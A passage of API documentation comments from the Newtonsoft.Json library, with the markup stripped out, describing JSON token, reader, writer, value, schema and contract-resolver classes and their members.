JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + Creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A , or null. + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + A . + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + The used to select tokens. + A . + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + The used to select tokens. + An of that contains the selected elements. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A object to configure cloning settings. + A new instance of the . + + + + Adds an object to the annotation list of this . + + The annotation to add. + + + + Get the first annotation object of the specified type from this . + + The type of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets the first annotation object of the specified type from this . + + The of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets a collection of annotations of the specified type for this . + + The type of the annotations to retrieve. + An that contains the annotations for this . + + + + Gets a collection of annotations of the specified type for this . + + The of the annotations to retrieve. + An of that contains the annotations that match the specified type for this . + + + + Removes the annotations of the specified type from this . + + The type of annotations to remove. + + + + Removes the annotations of the specified type from this . + + The of annotations to remove. + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Gets the at the reader's current position. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Initializes a new instance of the class. + + The token to read from. + The initial path of the token. It is prepended to the returned . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the path of the current JSON token. + + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets the at the writer's current position. + + + + + Gets the token being written. + + The token being written. + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying . + + + + + Closes this writer. + If is set to true, the JSON is auto-completed. + + + Setting to true has no additional effect, since the underlying is a type that cannot be closed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes a value. + An error will be raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Creates a null value. + + A null value. + + + + Creates a undefined value. + + A undefined value. + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Writes this token to a . + + A into which this method will write. + A collection of s which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not of the same type as this instance. + + + + + Specifies how line information is handled when loading JSON. + + + + + Ignore line information. + + + + + Load line information. + + + + + Specifies how JSON arrays are merged together. + + + + Concatenate arrays. + + + Union arrays, skipping items that already exist. + + + Replace all array items. + + + Merge array items together, matched by index. + + + + Specifies how null value properties are merged. + + + + + The content's null value properties will be ignored during merging. + + + + + The content's null value properties will be merged. + + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies metadata property handling options for the . + + + + + Read metadata properties located at the start of a JSON object. + + + + + Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. + + + + + Do not try to read metadata properties. + + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + + + + Specifies reference handling options for the . + Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + The property is not required but it cannot be a null value. + + + + + + Contains the JSON schema extension methods. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + The validation event handler. + + + + + An in-memory representation of a JSON Schema. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read-only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + Gets or sets a number that the value should be divisible by. + + A number that the value should be divisible by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). + + A flag indicating whether the value can not equal the number defined by the minimum attribute (). + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). + + A flag indicating whether the value can not equal the number defined by the maximum attribute (). + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . + + + true if items are validated using their array position; otherwise, false. + + + + + Gets or sets the of additional items. + + The of additional items. + + + + Gets or sets a value indicating whether additional items are allowed. + + + true if additional items are allowed; otherwise, false. + + + + + Gets or sets whether the array items must be unique. + + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets disallowed types. + + The disallowed types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the collection of that this schema extends. + + The collection of that this schema extends. + + + + Gets or sets the format. + + The format. + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains JSON Schema. + + A that contains JSON Schema. + A populated from the string that contains JSON Schema. + + + + Load a from a string that contains JSON Schema using the specified . + + A that contains JSON Schema. + The resolver. + A populated from the string that contains JSON Schema. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents the current . + + + A that represents the current . + + + + + + Returns detailed information about the schema exception. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + + Generates a from a specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + + Resolves from an id. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Initializes a new instance of the class. + + + + + Gets a for the specified reference. + + The id. + A for the specified reference. + + + + + The value types allowed by the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + + Specifies undefined schema Id handling options for the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + + Returns detailed information related to the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + + Represents the callback method that will handle JSON schema validation events and the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + A camel case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolve a for a given . + + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets the default members search flags. + + The default members search flags. + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. + + + true if the interface will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. + + + true if the attribute will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. + + + true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. + + + true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. + + The naming strategy used to resolve how property names and dictionary keys are serialized. + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type. + Properties for the given . + + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Resolved name of the property. + + + + Resolves the name of the extension data. By default no changes are made to extension data names. + + Name of the extension data. + Resolved name of the extension data. + + + + Resolves the key of the dictionary. By default is used to resolve dictionary keys. + + Key of the dictionary. + Resolved key of the dictionary. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + The default naming strategy. Property names and dictionary keys are unchanged. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + Initializes a new instance of the class. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer that writes to the application's instances. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides information surrounding an error. + + + + + Gets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + true if handled; otherwise, false. + + + + Provides data for the Error event. + + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides methods to get attributes. + + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Used by to resolve a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that was resolved from the reference. + + + + Gets the reference for the specified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Allows users to control class loading and mandate what class to load. + + + + + When implemented, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When implemented, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Contract details for a used by the . + + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + true if the collection type is a multidimensional array; otherwise, false. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the collection values. + + true if the creator has a parameter with the collection values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Handles serialization callback events. + + The object that raised the callback event. + The streaming context. + + + + Handles serialization error callback events. + + The object that raised the callback event. + The streaming context. + The error context. + + + + Sets extension data for an object during deserialization. + + The object to set extension data on. + The extension data key. + The extension data value. + + + + Gets extension data for an object during serialization. + + The object to set extension data on. + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets the internally resolved for the contract's type. + This converter is used as a fallback converter when no other converter is resolved. + Setting will always override this converter. + + + + + Gets or sets all methods called immediately after deserialization of the object. + + The methods called immediately after deserialization of the object. + + + + Gets or sets all methods called during deserialization of the object. + + The methods called during deserialization of the object. + + + + Gets or sets all methods called after serialization of the object graph. + + The methods called after serialization of the object graph. + + + + Gets or sets all methods called before serialization of the object. + + The methods called before serialization of the object. + + + + Gets or sets all method called when an error is thrown during the serialization of the object. + + The methods called when an error is thrown during the serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non-public. + + true if the default object creator is non-public; otherwise, false. + + + + Contract details for a used by the . + + + + + Gets or sets the dictionary key resolver. + + The dictionary key resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the dictionary values. + + true if the creator has a parameter with the dictionary values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets the object's properties. + + The object's properties. + + + + Gets or sets the property name resolver. + + The property name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object constructor. + + The object constructor. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets the object's properties. + + The object's properties. + + + + Gets a collection of instances that define the parameters used with . + + + + + Gets or sets the function used to create the object. When set this function will override . + This function is called with a collection of arguments which are defined by the collection. + + The function used to create the object. + + + + Gets or sets the extension data setter. + + + + + Gets or sets the extension data getter. + + + + + Gets or sets the extension data value type. + + + + + Gets or sets the extension data name resolver. + + The extension data name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the for this property. + + The for this property. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes precedence over the contract converter for the property type. + + The converter. + + + + Gets or sets the member converter. + + The member converter. + + + + Gets or sets a value indicating whether this is ignored. + + true if ignored; otherwise, false. + + + + Gets or sets a value indicating whether this is readable. + + true if readable; otherwise, false. + + + + Gets or sets a value indicating whether this is writable. + + true if writable; otherwise, false. + + + + Gets or sets a value indicating whether this has a member attribute. + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets or sets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether has a value specified. + + + + + Gets or sets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets or sets the property null value handling. + + The null value handling. + + + + Gets or sets the property default value handling. + + The default value handling. + + + + Gets or sets the property reference loop handling. + + The reference loop handling. + + + + Gets or sets the property object creation handling. + + The object creation handling. + + + + Gets or sets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets a predicate used to determine whether the property should be deserialized. + + A predicate used to determine whether the property should be deserialized. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Lookup and create an instance of the type described by the argument. + + The type to create. + Optional arguments to pass to an initializing constructor of the JsonConverter. + If null, the default constructor is used. + + + + A kebab case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + A base class for resolving how property names and dictionary keys are serialized. + + + + + A flag indicating whether dictionary keys should be processed. + Defaults to false. + + + + + A flag indicating whether extension data names should be processed. + Defaults to false. + + + + + A flag indicating whether explicitly specified property names, + e.g. 